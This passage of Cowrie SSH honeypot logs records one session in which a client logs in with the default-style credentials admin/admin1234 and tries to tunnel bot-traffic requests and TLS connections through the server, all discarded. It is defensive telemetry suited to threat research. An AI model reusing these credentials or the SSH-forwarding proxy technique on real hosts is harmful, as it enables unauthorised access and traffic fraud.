NKU\\x95\\xd40Q\\xbe\\n\\xb7\\xfd\\xaa\\xd7\\x17e\\x0b\\x80\\xda\\x12\\x9f\\x19da\\xaa\\\\\\xa6/e\\xad\\xf8\\x7fr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.147424Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56501,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad27ef7a8a3","protocol":"ssh","message":"New connection: 123.27.168.40:56501 (10.17.0.5:22) [session: 4ad27ef7a8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.172144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.179613Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:09.434601Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:10.588595Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:10.968010Z","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:11.059040Z","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:11.215761Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/17A577 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=K3NhcWUmQntwKElQeSFNQA%3D%3DsOaEPo65jqWrKCUqzMht74ikhmByvP6mwOhV%2B7OHg6Fgv%2BTcR6ba6sfWRvyn2%2Bb6b6pQTs31U5PcTBp8F6zZUNwWw7zUWohdvazyL0f1kirWYtaCoFje5CgbFMBlH%2F9n8%2FlQAjd73yHwdVrhj6G6AaEPJj3vLquAlxu5%2FsT9%2FDgM%2B7P%2FbRWQQD6v2w%2FTP3KDx7cgf5f5rCEU%2BkUdw7jin5scWPqps%2BnA4C9Ec%2Fugy3n0gBow%2Fj7xu3yH9D9vfC1rnOi2sogZOa0cHIXl6%2F%2FQdjWy7ascu55Obn3IaUwSEJ22VBlXJVV5DKFR6Qe4O9JUi%2FceZ88AYJptQOKC13PtsbYjm4LuDplmyTTGvcYeS%2FnPEu4jvOYLahIzOCAi2TSHWFQrsuYmOrZMe35kB4Isy9YzrivKij0I7bFHJQJBeTbK3HhamCDmzgubKDIqXtEWjYH9mjPU0GKJxZTKrN7S7E0lQsXM4Uacxo5%2FqnYwT9mhcJ50b1rOOEzr05fx1iz12uqnEqqXf17N01aEmytYJdA3f6Q2%2FJuTGJifG3SP0nnpWH3JG%2BWBwmGVkA6KR6jsnapJ%2FnKk584YYB7F%2FPxaFFSzYVJC1L0WJnEmwMdwwH91U910UnGVPprHXT60O5jNOhnLXJOboj0l7buMhGZ6XmdgBP404cpVHB0LG8w1PWszFilT%2BfmAxLogadVLYjkcatA3fSbW7C6t44NYpKelU5sUJnhTDO3zv74jDarIkxXNl0cGwANvwYghY81V1pkoLjjJWMSKOT2s5zKE1LxItC4mCnUMbpaE9pdWqb5aUbdYFRwlUXKgW%2FCTljSa8PMl29j2t7vksjpqs%2FbztvHyJyUCLy2sTWw1t6JT3HOa4lLGNKekBPh4%2FDu5VEUc%2FWQEFxsHFvhf7%2B38QtZoGSAMoCxoc5MnnZ%2FvO8uuDLqwS9yODLCmofFC6R13F%2B9vX%2FNTNK0FdoCFHT8EsuB%2B7d7DX%2BNHQANaNpOCLs9Ayygl2fxsYw%2Fum1WLeMskprzgpz49KrGKV3VRnGdhzl0Wkom4f1GYCExin0F5H7jqVMglJ3IzNgIPKUSBmOKwfHbq9CSa'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/17A577 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=K3NhcWUmQntwKElQeSFNQA%3D%3DsOaEPo65jqWrKCUqzMht74ikhmByvP6mwOhV%2B7OHg6Fgv%2BTcR6ba6sfWRvyn2%2Bb6b6pQTs31U5PcTBp8F6zZUNwWw7zUWohdvazyL0f1kirWYtaCoFje5CgbFMBlH%2F9n8%2FlQAjd73yHwdVrhj6G6AaEPJj3vLquAlxu5%2FsT9%2FDgM%2B7P%2FbRWQQD6v2w%2FTP3KDx7cgf5f5rCEU%2BkUdw7jin5scWPqps%2BnA4C9Ec%2Fugy3n0gBow%2Fj7xu3yH9D9vfC1rnOi2sogZOa0cHIXl6%2F%2FQdjWy7ascu55Obn3IaUwSEJ22VBlXJVV5DKFR6Qe4O9JUi%2FceZ88AYJptQOKC13PtsbYjm4LuDplmyTTGvcYeS%2FnPEu4jvOYLahIzOCAi2TSHWFQrsuYmOrZMe35kB4Isy9YzrivKij0I7bFHJQJBeTbK3HhamCDmzgubKDIqXtEWjYH9mjPU0GKJxZTKrN7S7E0lQsXM4Uacxo5%2FqnYwT9mhcJ50b1rOOEzr05fx1iz12uqnEqqXf17N01aEmytYJdA3f6Q2%2FJuTGJifG3SP0nnpWH3JG%2BWBwmGVkA6KR6jsnapJ%2FnKk584YYB7F%2FPxaFFSzYVJC1L0WJnEmwMdwwH91U910UnGVPprHXT60O5jNOhnLXJOboj0l7buMhGZ6XmdgBP404cpVHB0LG8w1PWszFilT%2BfmAxLogadVLYjkcatA3fSbW7C6t44NYpKelU5sUJnhTDO3zv74jDarIkxXNl0cGwANvwYghY81V1pkoLjjJWMSKOT2s5zKE1LxItC4mCnUMbpaE9pdWqb5aUbdYFRwlUXKgW%2FCTljSa8PMl29j2t7vksjpqs%2FbztvHyJyUCLy2sTWw1t6JT3HOa4lLGNKekBPh4%2FDu5VEUc%2FWQEFxsHFvhf7%2B38QtZoGSAMoCxoc5MnnZ%2FvO8uuDLqwS9yODLCmofFC6R13F%2B9vX%2FNTNK0FdoCFHT8EsuB%2B7d7DX%2BNHQANaNpOCLs9Ayygl2fxsYw%2Fum1WLeMskprzgpz49KrGKV3VRnGdhzl0Wkom4f1GYCExin0F5H7jqVMglJ3IzNgIPKUSBmOKwfHbq9CSa'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:11.219702Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:11.456754Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1\\x0c\\xf90\\xe5\\xef\\xf5A\\xf8\\xb1\\x802\\x829\\x90\\xcd\\xfbc\\x14\\x1f\\xda\\x7f\\x83\\x97\\x9c\\xbc\\x02\\x93\\x99\\x13\\xe1\\xcc \\xe8\\xf1\\xf7\\x0b\\x06j\\x85^\\xbd\\xcaY\\xef \\xa9\\x18\\xefMa\\xc1q0C\\x06-cW\\xc8\\xa4\\x1a\\xb1J \\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 ~C\\xad\\x855\\xeea9\\xed\\xa9\\xd0m\\x16\\xa8\\xdaL\\xdf\\x80\\xf5@\\x13}\\x9a\\xccD\\xfe_A\\x93\\xc2\\xbc\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1\\x0c\\xf90\\xe5\\xef\\xf5A\\xf8\\xb1\\x802\\x829\\x90\\xcd\\xfbc\\x14\\x1f\\xda\\x7f\\x83\\x97\\x9c\\xbc\\x02\\x93\\x99\\x13\\xe1\\xcc \\xe8\\xf1\\xf7\\x0b\\x06j\\x85^\\xbd\\xcaY\\xef \\xa9\\x18\\xefMa\\xc1q0C\\x06-cW\\xc8\\xa4\\x1a\\xb1J \\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 ~C\\xad\\x855\\xeea9\\xed\\xa9\\xd0m\\x16\\xa8\\xdaL\\xdf\\x80\\xf5@\\x13}\\x9a\\xccD\\xfe_A\\x93\\xc2\\xbc\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:11.460028Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:11.947692Z","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:12.192904Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\xb3pU\\xd6\\x1b\\xb3\\x94\\xd58\\xd3\\x9aA\\xd27\\x9a\\xc2-\\x1f\\x9fZ5\\x9b\\x1c\\xc5D677\\xa1tM \\xdb\\xc7&\\'U\\xb9*\\x9c\\xa7\\x1d\\xf8\\xf5\\x1a\\xd2o\\x1e\\xa1\\xd2\\xed\\x14\\x95\\x16\\x0fO\\xd5\\xc7/U\\xd2\\xb1\\x9d\\xe3\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06M\\xaa\\x1a\\xd8\\xa4\\xc6@2\\xd1\\xb9Q$]\\xfd\\xaa\\xac\\x84\\xeff?\\xad\\x07v\\x14\\xfd\\xccR\\x8e\\xcb\\xdb\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\xb3pU\\xd6\\x1b\\xb3\\x94\\xd58\\xd3\\x9aA\\xd27\\x9a\\xc2-\\x1f\\x9fZ5\\x9b\\x1c\\xc5D677\\xa1tM \\xdb\\xc7&\\'U\\xb9*\\x9c\\xa7\\x1d\\xf8\\xf5\\x1a\\xd2o\\x1e\\xa1\\xd2\\xed\\x14\\x95\\x16\\x0fO\\xd5\\xc7/U\\xd2\\xb1\\x9d\\xe3\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06M\\xaa\\x1a\\xd8\\xa4\\xc6@2\\xd1\\xb9Q$]\\xfd\\xaa\\xac\\x84\\xeff?\\xad\\x07v\\x14\\xfd\\xccR\\x8e\\xcb\\xdb\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0